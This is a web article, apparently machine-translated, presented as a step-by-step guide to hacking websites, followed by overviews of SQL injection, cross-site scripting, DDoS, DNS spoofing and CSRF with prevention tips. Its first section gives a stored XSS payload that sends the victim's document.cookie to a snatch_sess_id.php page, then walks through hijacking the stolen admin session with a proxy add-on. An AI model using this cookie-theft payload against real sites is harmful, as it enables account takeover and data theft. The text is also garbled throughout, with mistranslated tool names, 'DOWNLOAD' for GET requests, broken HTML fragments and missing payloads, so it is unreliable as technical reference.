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What comes to mind when you think of a hacker? Maybe a hooded, information-stealing criminal with cutting-edge computer skills. The truth is that it was not that difficult for a hacker to learn how to hack a website. And not all web breaches are crimes!

Some companies hire hackers to test themcomputer securitysuch as banks, retail stores andstate agencies.

If you are interested in hacking websites, you are in the right place. Today we will cover the steps on how to hack a website and introduce the different types of cyber attacks and prevention methods.

Let's start!

How to hack a website step by step: different ways to hack a website

A hacker can gain access to a website in a number of ways. All you need is to find a vulnerable spot on the website to enter and access key information. In this article, we have mentioned some amazing tricks that you can perform to hack a website.

1. Hack a website

The first method to hack a website and change it is to hack a website online. let's hack"www.techpanda.orgas an example to show the steps of website hacking. In this scenario, we read the session ID from the cookie and impersonate the user's session to get information from the administrator.

WithSQL injection to bypass authentication method, we can access your login details. Then follow these steps:

• I willhttp://www.techpanda.org/.
• Login email isadmin@xyz.comand the password is Password2020.
• After logging in, you will get the control panel shown in the image.

• Select Add New Contact.
• Enter the following in the name field.

http://techpanda.org/snatch_sess_id.php?c=\’+escape\(document.cookie\)\;\”>Dark

This is a JavaScript code that adds a hyperlink with a click event. When clicked, the event retrieves the session ID from the PHP cookie and sends it to the snatch_sess_id.php page along with the session ID in the URL.

• Enter the remaining information and click Save.

• You will get a new entry as shown below.

• The cross-site scripting code is stored in the database and will be loaded every time users with access rights connect.
• Whenever the admin clicks on the Dark entry, a window will pop up with the session ID shown in the URL.

2. Session spoofing

To perform this attack, you need to use the Sabotage Data plugin. Data Sabotage is a commonly used Firefox extension. You can manipulate the data sent between the client and the server and access the GET and POSTING data. Below we describe how to install the Manipulation Data plugin, with detailed steps.

• You need Firefox and the data handling add-on.
• Open Firefox to install the data handling plugin as shown in the image below.

• Find the hack data and install it according to the image below.

• Now click accept and install.

• After installation, there will be a reboot button now as shown below.

• Now go to the menu bar in Firefox as shown below.

• Go to Tools and select Data Manipulation

• Click start, the following window will appear.

• Then go back to Firefox and typehttp://www.techpanda.org/dashboard.phpand press Enter.
• The following window will appear and click on the highlighted options.

• You will see the window below.

• Now copy the PHPSESSID from the attack URL and paste it in the cookie field and click OK as shown above.
• You will enter under the window.

• Uncheck Continue and Submit.
• You will get the table below.

Different types of cyber attacks

Unfortunately, hackers can enter corporate cyberspace in a number of ways. These are some examples of different cyber attacks.

1. Atak SQL Injection

An SQL injection attack is when a hacker sends a malicious SQL query to an application. The query gives the hacker access to read key information from the database and even execute unauthorized commands, resulting in the loss and breach of critical data.

This type of cyberattack gives hackers the ability to spoof identities, change data, cause fraud, and damage a company's reputation. These attacks are widespread in PHP and ASP applications because they have old interfaces. The severity of an injection attack depends on the skill of the hacker. If a website is not protected with proper security measures, it can easily be exploited.

Different types of SQL injection attacks

The attack has been divided into three categories based on how data is accessed and destroyed. They are: in-band (classic) SQLi, inductive (blind) SQLi and out-of-band SQLi.

• SQLi and band:This is possible if the SQL you are using is very easy to hack. In this type of SQL injection attack, the hacker uses the same network channel to attack and receive data. It is available in two different variants listed below.
• Error-based SQLi:The database generates error messages due to the attacker's actions. Depending on the result, an attacker can discover the database structure for that application.
• Union-based SQLi:This technique works on an SQL UNION operator that contains multi-select statements and converts them into an HTTP response that contains the necessary information for the application.
• Inferential SQLi (dummy):During this attack, the hacker sends a large amount of data to the server to observe the server's reaction and behavior. In this way, the attacker will analyze information about its structure. Here, the attacker will not see the actual data as it is not sent from the website database to the attacker. This attack will slow down the server process. Blind SQL injections come in the following two variants:
• Boolean:The SQL query is sent to the database and the attacker parses the result of the query to see if it is true or false. The data in the HTTP response will also change accordingly.
• temporary:This query causes the database to wait a few seconds before responding. The attacker analyzes the time it takes to answer this query. It will generate an HTTP response based on the time. An attacker can obtain a score without entering the actual database.
• SQLi out of band:This attack can only happen when certain features are enabled on the database server. It depends on the server's ability to make DNS or HTTP requests to transmit data to the attacker. If any method does not bring the result expected by the attacker, choose this technique.

How does SQL injection work?

The attacker can choose the following way to implement the SQL injection attack. The attacker can choose one of the following methods.

• Entering SQL queries into the user input box – Here the hacker enters SQL queries into the user input box and sends them to the database for processing. If the database accepts the input without sanitizing it, the attacker can do anything.
• Injection of SQL queries through cookies: The attacker tries to get data from stored cookies, so he puts malware on the device to modify the cookie data and injects the query there to access the database.
• Injection of SQL queries via HTTP headers – An attacker can inject a query in the HTTP header if the application receives information from the headers and accesses the database.

SQL injection effect

• Bypassing authentication and impersonating another user to access the database.
• Infiltration/stealing data for personal gain.
• Alteration of basic data to cause fraud.
• Deleting data damages your reputation.
• Run arbitrary code for fun.
• Get root access to the system itself and run SQL queries.

Example

First, the attacker will find vulnerabilities and then inject an SQL query. In the example below, the attacker retrieves the information they need for a specific product, which can be changed to look like http://www.estore.com/product/product.asp?productid=999 or 1=1. This will send the following query to the database:

SELECT ProductName, ProductDescription FROM Product WHERE ProductNumber = 999 OR 1 = 1

Because of the 1=1 condition, the statement will always be true and return all product details.

How to prevent this attack?

You can prevent this attack by sanitizing input to detect unauthorized users who want to access critical data.

2. Atak typu Cross-Site Scripting

In this attack, the hacker impersonates the victim to get the victim's details. These attacks are also known as XSS and compromise the user's interaction with the application. In this attack, the attacker creates a single environment that distinguishes between different web pages. If an attacker gains privileged access to a particular application, they can corrupt key data stored in the application.

The attack starts when the victim accesses the app or website. The attacker executes malicious JavaScript code in the victim's web browser. The website acts as a tool to deliver the code that is entered when the user accesses the website. Some examples where an attacker can inject code into websites: forums, comments, etc.

The impact of cross-site scripting attacks

Here are some user effects:

• Infiltration/stealing data for personal gain.
• Alteration of basic data to cause fraud.
• Deleting data damages your reputation.
• Run arbitrary code for fun.

How to prevent Cross-Site Scripting attacks

Be sure to implement the following strategies to prevent this attack.

• Make sure your request form filters user data.
• Always encrypt output to ensure security.
• Make sure you are using the correct response headers.
• Also implement a content security policy.

Different types of XSS

There are three different types of attacks.

• Odbity type cross-site scripts

This type of attack is simple to create. The attacker provides the code in the application's HTTP request and receives the data by responding immediately.

For example:

https://xyz-website.com/status?message=

They are:

Whenever a user clicks an application's HTTP request and accesses the above URL, the injected script will runs in your web browser. The script can get necessary information, delete data, etc.

• Scripts stored between sites

In this attack, the application can receive data from an untrusted source and append that data to an HTTP response that the server can process.

Data can be injected into applications via requests HTTP. For example, feedback, contact information on a customer order, etc.

For example:

The feedback section of the app allows users to send messages as shown below. Continued.

p>< pre>< p>Hello data

An attacker can easily send a message that can even harm other users who have access to the comment section.< /p>

< code>

• DOM-based cross-site scripting

This attack takes place when the application is on the client side.JavaScriptProcess data from an untrusted source and write it back to the DOM.

In the example below, the JavaScript code reads the value of the input field and passes the provided value to the HTML element as shown below.

var search = document.getElementById('search').value;var Results = document.getElementById('results');results.innerHTML = 'Wyszukałeś: ' + szukaj;

If the attacker controls the value of the input field, he can enter a malicious value to execute:

You have searched for:

3. Denial of Service Attack (DDoS/DoS)

A distributed denial of service (DDoS) attack affects normal traffic on the target server and floods it with many requests. They usually take place on networks of connected devices infected with malware and controlled remotely by the attacker. These individual devices are called bots to which the attacker will send remote instructions to execute. When the bot attacks the server, it will send a request to the target IP address and overload the server, causing severe damage.

Different types of DDoS attacks

Below are the different types of DDoS attacks commonly used by attackers.

• TCP connection attack:This attack will take all your connections like load balancers, firewall, application servers which will cause delay in processing the actual request.
• Volumetric Attack:Routes application bandwidth to the destination network or between the destination network and the Internet to cause congestion.
• Fragmentation Attacks:This causes the TCP or UDP portions of the victim streams to overflow, which degrades performance.
• Application Attacks:It overwhelms the display of a particular app and generates little traffic.
• DNS mirroring:The attacker spoofs the victim's IP address, sends a short request to the DNS server, and sends a long response to the user.

Effects of DDoS attacks

Below is the impact you can see on the server and machines.

• Unnecessary increase in traffic from a specific IP address.
• An unexpected increase in traffic for a specific group of users with the same behavioral profile, such as device type, geographic location, etc.
• Sometimes there is an increase in the number of requests sent to a single page or endpoint.
• Traffic increases at odd hours of the day.

How to prevent DDoS attacks

Here are some methods to prevent DDoS attacks.

• Throttle your web server router speed.
• Add appropriate filters to your router to prevent incoming packets from suspicious sources.
• Force connection timeouts.
• Use strong firewalls against DDoS attacks.
• Use third-party DDoS mitigation software such as Akamai, Cloudflare, VeriSign, Arbor Networks, etc.

Website hacking/penetration testing

4. DNS spoofing attack

Domain Name System (DNS) poisoning and spoofing mainly exploits DNS server vulnerabilities and redirects traffic from legitimate servers to fake ones. If the victim accesses a fake website, they will be redirected to another website which causes damage to their system. The main result of this attack is data theft.

To perform this attack, the client requests an IP address from the DNS server. They then receive a response containing a bogus IP address unrelated to the address requested by the client. So the request goes to a malicious host and the host returns a legitimate site without a security certificate to the client.

Different types of DNS replacement attacks

The various types of DNS spoofing attacks are listed below.

• Local router attack

In this attack, the attacker modifies data and adds malicious code to the local device. The victim cannot tell the difference or if their system has been compromised. However, invalid IP addresses will be returned for the requested hostnames. The attack will continue until the breach is fixed. For example, changing DNS server information, manipulating the hosts file on the local system, tampering with the local router, etc.

• DNS server response attack

Also known as a man-in-the-middle attack, in which the attacker pretends to be the victim and sends a malicious response. This attack is possible because DNS traffic uses the user's unencrypted datagram protocol, so there is no way to verify the authenticity of the DNS response.

• DNS server

This type of DNS spoofing attack targets the correct DNS server and affects many users. For example, poisoning the DNS cache on the server, tampering with the DNS server, etc.

How to prevent DNS spoofing attacks

Here are ways to prevent DNS spoofing attack:

• Reduce duplicate queries and protect yourself from potential poisoning attacks.
• Stores only data related to the requested domain.
• Limit responses to the requested domain only.
• Force clients to use HTTPS.

5. Intersection request forgery attack

Cross-Site Request Forgery (CSRF) attacks the victim and performs unwanted actions as expected by the attacker in a web application without authorized access. The attacker tricks the victim into doing some illegal action of the attacker's choosing.

If so, the victim is a regular user. the attacker can only do things like transfer money, change email, etc. CSRF can affect the entire web application if the victim has administrator access.

The main results are server state change, data breach and illegal transfer of funds.

How cross-site request forgery attacks work

When the victim tries to access the website, the browser automatically selects the credentials from the stored cookies so that the login process is seamless. Once users provide their login information, the site cannot distinguish between bogus and legitimate requests. In such cases, attackers can easily impersonate the victim. Attackers typically follow this process:

• The attacker uses social engineering to trick the victim into clicking on a link with malicious code.
• This link will initiate a request to the destination website.
• The request is expected to come from a user with the same credentials and use the stored credentials to log in to the site.
• The website responds to the incoming request and performs the action requested by the attacker.

Cross-site request forgery attack example

Here's an example of how a simple GET request for a $5,000 bank transfer works:

DOWNLOAD https://abank.com/transfer.do?account=RandPerson&amount=$5000 HTTP/1.1

• An attacker could change the script to transfer $5,000 to your account using the following code:

DOWNLOAD https://abank.com/transfer.do?account=SomeAttacker&amount=$5000 HTTP/1.1

How to prevent cross-site request forgery attacks

Here are the best practices to prevent this attack:

• Be sure to always log out of registered web applications when not in use.
• Use strong usernames and passwords to prevent spoofing.
• Try not to access parallel browsers to do critical work.

Application

We have listed only the most common attacks against ordinary peopleWebsitewhere safety is not observed. Today, technology is so advanced that it helps attackers get what they want. All they need is the correct use of network communication. Every organization and website has its own unique security policies and some strong strategies. But some hackers can get into your system and do wrong.

If you want to prevent such attacks on your website to protect its integrity, you need to understand how a website can be hacked and what steps can be taken to prevent it. Read this article, find potential threat points for your website and remove the threats.

Want to learn more about website security? look at theseinformation security and ethical breach seminars;

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